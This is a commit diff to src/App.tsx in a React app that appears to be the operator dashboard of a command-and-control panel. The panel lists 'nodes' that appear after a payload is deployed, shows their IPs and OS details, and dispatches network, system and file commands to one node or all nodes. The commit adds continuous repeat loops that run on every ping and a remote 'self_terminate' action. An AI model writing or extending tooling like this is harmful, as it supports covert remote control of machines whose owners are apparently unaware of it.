wuhp commited on
Commit
4da9936
·
verified ·
1 Parent(s): 4c7cae4

Update src/App.tsx

Browse files
Files changed (1) hide show
  1. src/App.tsx +109 -31
src/App.tsx CHANGED
@@ -129,6 +129,7 @@ function Card({ title, children, icon }: { title: string, children: React.ReactN
129
 
130
  function DashboardTab() {
131
  const [data, setData] = useState({ nodes: [], reports: [] });
 
132
 
133
  useEffect(() => {
134
  const fetchStatus = async () => {
@@ -145,12 +146,29 @@ function DashboardTab() {
145
  return () => clearInterval(iv);
146
  }, []);
147
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
148
  return (
149
  <div className="flex flex-col gap-6">
150
  <div className="grid grid-cols-1 md:grid-cols-3 gap-4">
151
  <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
152
  <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
153
- <span className="text-3xl font-bold text-white font-mono">{data.nodes.length}</span>
154
  </div>
155
  <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
156
  <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
@@ -166,10 +184,21 @@ function DashboardTab() {
166
  </div>
167
 
168
  <Card title="Connected Nodes" icon={<Server size={18} />}>
169
- {data.nodes.length === 0 ? (
 
 
 
 
 
 
 
 
 
 
 
170
  <div className="text-center py-10 text-slate-400">
171
  <Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
172
- <p>No active nodes connected.</p>
173
  <p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
174
  </div>
175
  ) : (
@@ -180,12 +209,16 @@ function DashboardTab() {
180
  <th className="font-medium px-2">Node ID</th>
181
  <th className="font-medium">Environment</th>
182
  <th className="font-medium">IP Addr</th>
 
183
  <th className="font-medium">Last Ping</th>
184
  <th className="font-medium">Status</th>
 
185
  </tr>
186
  </thead>
187
  <tbody className="divide-y divide-white/5 text-slate-300">
188
- {data.nodes.map((node: any) => (
 
 
189
  <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
190
  <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
191
  <td className="py-3">
@@ -194,16 +227,25 @@ function DashboardTab() {
194
  </span>
195
  </td>
196
  <td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
 
 
 
197
  <td className="py-3 text-slate-400">
198
  {Math.round((Date.now() - node.lastSeen) / 1000)}s ago
199
  </td>
200
  <td className="py-3">
201
- <div className="flex items-center gap-1.5 text-emerald-400">
202
- <div className="w-1.5 h-1.5 rounded-full bg-emerald-500 shadow-md shadow-emerald-500/50"></div> Online
203
  </div>
204
  </td>
 
 
 
 
 
205
  </tr>
206
- ))}
 
207
  </tbody>
208
  </table>
209
  </div>
@@ -529,6 +571,8 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
529
  const [status, setStatus] = useState('');
530
  const [nodes, setNodes] = useState<any[]>([]);
531
  const [reports, setReports] = useState<any[]>([]);
 
 
532
 
533
  useEffect(() => {
534
  const fetchStatus = async () => {
@@ -538,6 +582,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
538
  setNodes(json.nodes || []);
539
  // Get just the reports that are commands
540
  setReports((json.reports || []).slice(0, 15));
 
541
  } catch (err) {}
542
  };
543
  fetchStatus();
@@ -574,7 +619,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
574
  await fetch('/api/commands', {
575
  method: 'POST',
576
  headers: { 'Content-Type': 'application/json' },
577
- body: JSON.stringify({ target: targetNode, type: command, payload })
578
  });
579
  setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
580
  setTimeout(() => setStatus(''), 3000);
@@ -583,6 +628,11 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
583
  }
584
  };
585
 
 
 
 
 
 
586
  return (
587
  <div className="flex flex-col gap-6">
588
  <div className="mb-2">
@@ -778,39 +828,67 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
778
  </div>
779
  )}
780
 
 
 
 
 
 
781
  <button
782
  onClick={issueCommand}
783
- className="mt-2 px-6 py-3 bg-red-500 hover:bg-red-400 text-white rounded-xl font-medium shadow-lg shadow-red-500/30 transition-all flex items-center justify-center gap-2"
784
  >
785
- <Terminal size={18} /> Execute Operation
786
  </button>
787
  {status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
788
  </div>
789
  </Card>
790
 
791
- <Card title="Latest Execution Reports" icon={<Activity size={18} />}>
792
- {reports.length === 0 ? (
793
- <div className="text-center py-10 text-slate-400 text-sm">
794
- <Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
795
- Waiting for node reports...
796
- </div>
797
- ) : (
798
- <div className="flex flex-col gap-3 max-h-[500px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
799
- {reports.map((report, idx) => (
800
- <div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
801
- <div className="flex justify-between items-start mb-1.5">
802
- <span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
803
- <span className="text-slate-500 text-xs">
804
- {new Date(report.timestamp).toLocaleTimeString()}
805
- </span>
 
 
 
 
806
  </div>
807
- <div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
808
- <ReportResultViewer report={report} />
809
- </div>
810
- ))}
811
- </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
812
  )}
813
- </Card>
814
  </div>
815
  </div>
816
  );
 
129
 
130
  function DashboardTab() {
131
  const [data, setData] = useState({ nodes: [], reports: [] });
132
+ const [filter, setFilter] = useState('all');
133
 
134
  useEffect(() => {
135
  const fetchStatus = async () => {
 
146
  return () => clearInterval(iv);
147
  }, []);
148
 
149
+ const removeNode = async (id: string) => {
150
+ await fetch('/api/commands', {
151
+ method: 'POST',
152
+ headers: { 'Content-Type': 'application/json' },
153
+ body: JSON.stringify({ target: id, type: 'self_terminate', payload: {}, repeat: false })
154
+ });
155
+ await fetch(`/api/nodes/${id}`, { method: 'DELETE' });
156
+ setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
157
+ };
158
+
159
+ const filteredNodes = data.nodes.filter((n: any) => {
160
+ const isActive = Date.now() - n.lastSeen < 20000;
161
+ if (filter === 'active') return isActive;
162
+ if (filter === 'inactive') return !isActive;
163
+ return true;
164
+ });
165
+
166
  return (
167
  <div className="flex flex-col gap-6">
168
  <div className="grid grid-cols-1 md:grid-cols-3 gap-4">
169
  <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
170
  <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
171
+ <span className="text-3xl font-bold text-white font-mono">{data.nodes.filter((n: any) => Date.now() - n.lastSeen < 20000).length}</span>
172
  </div>
173
  <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
174
  <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
 
184
  </div>
185
 
186
  <Card title="Connected Nodes" icon={<Server size={18} />}>
187
+ <div className="flex gap-4 mb-4 items-center px-2">
188
+ <label className="text-sm font-medium text-slate-400">Filter:</label>
189
+ <select
190
+ className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500"
191
+ value={filter} onChange={e => setFilter(e.target.value)}
192
+ >
193
+ <option value="all">All Nodes</option>
194
+ <option value="active">Active ({'<'} 20s skip)</option>
195
+ <option value="inactive">Inactive</option>
196
+ </select>
197
+ </div>
198
+ {filteredNodes.length === 0 ? (
199
  <div className="text-center py-10 text-slate-400">
200
  <Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
201
+ <p>No nodes found for this filter.</p>
202
  <p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
203
  </div>
204
  ) : (
 
209
  <th className="font-medium px-2">Node ID</th>
210
  <th className="font-medium">Environment</th>
211
  <th className="font-medium">IP Addr</th>
212
+ <th className="font-medium">OS Info</th>
213
  <th className="font-medium">Last Ping</th>
214
  <th className="font-medium">Status</th>
215
+ <th className="font-medium text-right pr-2">Action</th>
216
  </tr>
217
  </thead>
218
  <tbody className="divide-y divide-white/5 text-slate-300">
219
+ {filteredNodes.map((node: any) => {
220
+ const isActive = Date.now() - node.lastSeen < 20000;
221
+ return (
222
  <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
223
  <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
224
  <td className="py-3">
 
227
  </span>
228
  </td>
229
  <td className="py-3 text-slate-400 font-mono text-xs">{node.ip}</td>
230
+ <td className="py-3 text-slate-400 text-xs max-w-[120px] truncate" title={node.systemInfo?.os || ''}>
231
+ {node.systemInfo?.os || node.systemInfo?.release || '-'}
232
+ </td>
233
  <td className="py-3 text-slate-400">
234
  {Math.round((Date.now() - node.lastSeen) / 1000)}s ago
235
  </td>
236
  <td className="py-3">
237
+ <div className={`flex items-center gap-1.5 ${isActive ? 'text-emerald-400' : 'text-slate-400'}`}>
238
+ <div className={`w-1.5 h-1.5 rounded-full shadow-md ${isActive ? 'bg-emerald-500 shadow-emerald-500/50' : 'bg-slate-500'}`}></div> {isActive ? 'Online' : 'Offline'}
239
  </div>
240
  </td>
241
+ <td className="py-3 text-right pr-2">
242
+ <button onClick={() => removeNode(node.id)} className="text-xs text-red-400 border border-red-500/30 px-2 py-1 rounded bg-red-400/10 hover:bg-red-400/20 transition-colors">
243
+ Remove
244
+ </button>
245
+ </td>
246
  </tr>
247
+ );
248
+ })}
249
  </tbody>
250
  </table>
251
  </div>
 
571
  const [status, setStatus] = useState('');
572
  const [nodes, setNodes] = useState<any[]>([]);
573
  const [reports, setReports] = useState<any[]>([]);
574
+ const [activeCommands, setActiveCommands] = useState<any[]>([]);
575
+ const [repeat, setRepeat] = useState(false);
576
 
577
  useEffect(() => {
578
  const fetchStatus = async () => {
 
582
  setNodes(json.nodes || []);
583
  // Get just the reports that are commands
584
  setReports((json.reports || []).slice(0, 15));
585
+ setActiveCommands(json.activeCommands || []);
586
  } catch (err) {}
587
  };
588
  fetchStatus();
 
619
  await fetch('/api/commands', {
620
  method: 'POST',
621
  headers: { 'Content-Type': 'application/json' },
622
+ body: JSON.stringify({ target: targetNode, type: command, payload, repeat })
623
  });
624
  setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
625
  setTimeout(() => setStatus(''), 3000);
 
628
  }
629
  };
630
 
631
+ const stopLoop = async (id: string) => {
632
+ await fetch(`/api/commands/${id}`, { method: 'DELETE' });
633
+ setActiveCommands(prev => prev.filter(c => c.id !== id));
634
+ };
635
+
636
  return (
637
  <div className="flex flex-col gap-6">
638
  <div className="mb-2">
 
828
  </div>
829
  )}
830
 
831
+ <div className="flex items-center gap-2 mt-2 px-1">
832
+ <input type="checkbox" id="repeatMode" checked={repeat} onChange={e => setRepeat(e.target.checked)} className="rounded bg-black/20 border-white/10 text-indigo-500 focus:ring-indigo-500" />
833
+ <label htmlFor="repeatMode" className="text-sm text-slate-300 cursor-pointer">Repeat continuously (node will execute on every ping)</label>
834
+ </div>
835
+
836
  <button
837
  onClick={issueCommand}
838
+ className={`mt-2 px-6 py-3 ${repeat ? 'bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30' : 'bg-red-500 hover:bg-red-400 shadow-red-500/30'} text-white rounded-xl font-medium shadow-lg transition-all flex items-center justify-center gap-2`}
839
  >
840
+ <Terminal size={18} /> {repeat ? 'Start Background Loop' : 'Execute Operation'}
841
  </button>
842
  {status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
843
  </div>
844
  </Card>
845
 
846
+ <div className="flex flex-col gap-6">
847
+ <Card title="Latest Execution Reports" icon={<Activity size={18} />}>
848
+ {reports.length === 0 ? (
849
+ <div className="text-center py-10 text-slate-400 text-sm">
850
+ <Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
851
+ Waiting for node reports...
852
+ </div>
853
+ ) : (
854
+ <div className="flex flex-col gap-3 max-h-[350px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
855
+ {reports.map((report, idx) => (
856
+ <div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
857
+ <div className="flex justify-between items-start mb-1.5">
858
+ <span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
859
+ <span className="text-slate-500 text-xs">
860
+ {new Date(report.timestamp).toLocaleTimeString()}
861
+ </span>
862
+ </div>
863
+ <div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
864
+ <ReportResultViewer report={report} />
865
  </div>
866
+ ))}
867
+ </div>
868
+ )}
869
+ </Card>
870
+
871
+ {activeCommands.length > 0 && (
872
+ <Card title="Active Command Loops" icon={<Activity size={18} />}>
873
+ <div className="flex flex-col gap-3 max-h-[250px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
874
+ {activeCommands.map(cmd => (
875
+ <div key={cmd.id} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm flex items-center justify-between">
876
+ <div>
877
+ <div className="text-white font-medium text-sm flex items-center gap-2">
878
+ <div className="w-2 h-2 rounded-full bg-indigo-500 animate-pulse"></div>
879
+ {cmd.type}
880
+ </div>
881
+ <div className="text-slate-400 text-xs mt-1">Target: <span className="font-mono">{cmd.target}</span></div>
882
+ </div>
883
+ <button onClick={() => stopLoop(cmd.id)} className="text-xs text-red-400 border border-red-500/30 px-3 py-1.5 rounded-lg bg-red-400/10 hover:bg-red-400/20 transition-colors">
884
+ Stop Loop
885
+ </button>
886
+ </div>
887
+ ))}
888
+ </div>
889
+ </Card>
890
  )}
891
+ </div>
892
  </div>
893
  </div>
894
  );